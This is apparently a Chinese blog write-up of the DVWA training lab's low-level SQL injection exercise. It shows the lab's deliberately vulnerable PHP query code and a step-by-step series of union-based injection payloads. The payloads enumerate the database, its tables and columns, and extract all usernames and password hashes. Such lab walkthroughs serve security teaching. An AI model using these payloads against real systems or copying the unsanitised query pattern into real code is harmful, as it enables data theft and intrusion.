DVWA-7.1 SQL Injection(SQL注入)-Low

Low Level

查看源码

<?php

if( isset( $_REQUEST[ ‘Submit‘ ] ) ) {
    // Get input
    $id = $_REQUEST[ ‘id‘ ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤,存在明显的SQL注入。

漏洞利用

现实攻击场景下,攻击者是无法看到后端代码的,所以下面的手工注入步骤是建立在无法看到源码的基础上。

1.判断是否存在注入,注入是字符型还是数字型

输入1,查询成功:

DVWA-7.1 SQL Injection(SQL注入)-Low

 输入1’,返回SQL语法错误:

DVWA-7.1 SQL Injection(SQL注入)-Low

输入1’or ‘2’=’2,查询成功:

DVWA-7.1 SQL Injection(SQL注入)-Low

说明存在字符型注入。

 

2.猜解SQL查询语句中的字段数

输入1′ order by 1 #,查询成功:

DVWA-7.1 SQL Injection(SQL注入)-Low

输入1′ order by 2 #,查询成功:

DVWA-7.1 SQL Injection(SQL注入)-Low

输入1′ order by 3 #,查询失败:

DVWA-7.1 SQL Injection(SQL注入)-Low

 说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。

(这里也可以通过输入union select 1,2,3…来猜解字段数)

 

3.确定显示的字段顺序

输入1′ union select 1,2 #,查询成功:

DVWA-7.1 SQL Injection(SQL注入)-Low

说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…

 

4.获取当前数据库

输入1′ union select 1,database() #,查询成功:

DVWA-7.1 SQL Injection(SQL注入)-Low

说明当前的数据库为dvwa。

 

5.获取数据库中的表

输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:

DVWA-7.1 SQL Injection(SQL注入)-Low

说明数据库dvwa中一共有两个表,guestbook与users。

 

6.获取表中的字段名

输入1‘ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users‘ #,查询成功:

DVWA-7.1 SQL Injection(SQL注入)-Low

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

 

7.获取数据

输入1‘ union select 1,group_concat(user,0x3a,password) from users #,查询成功:

DVWA-7.1 SQL Injection(SQL注入)-Low

这样就得到了users表中所有用户的user、password的数据。

 

参考:https://www.freebuf.com/articles/web/120747.html

DVWA-7.1 SQL Injection(SQL注入)-Low

上一篇:RedHat Linux 6x 操作系统安装Oracle 11g实施手册文档(新手笔记)


下一篇:DVWA-7.3 SQL Injection(SQL注入)-High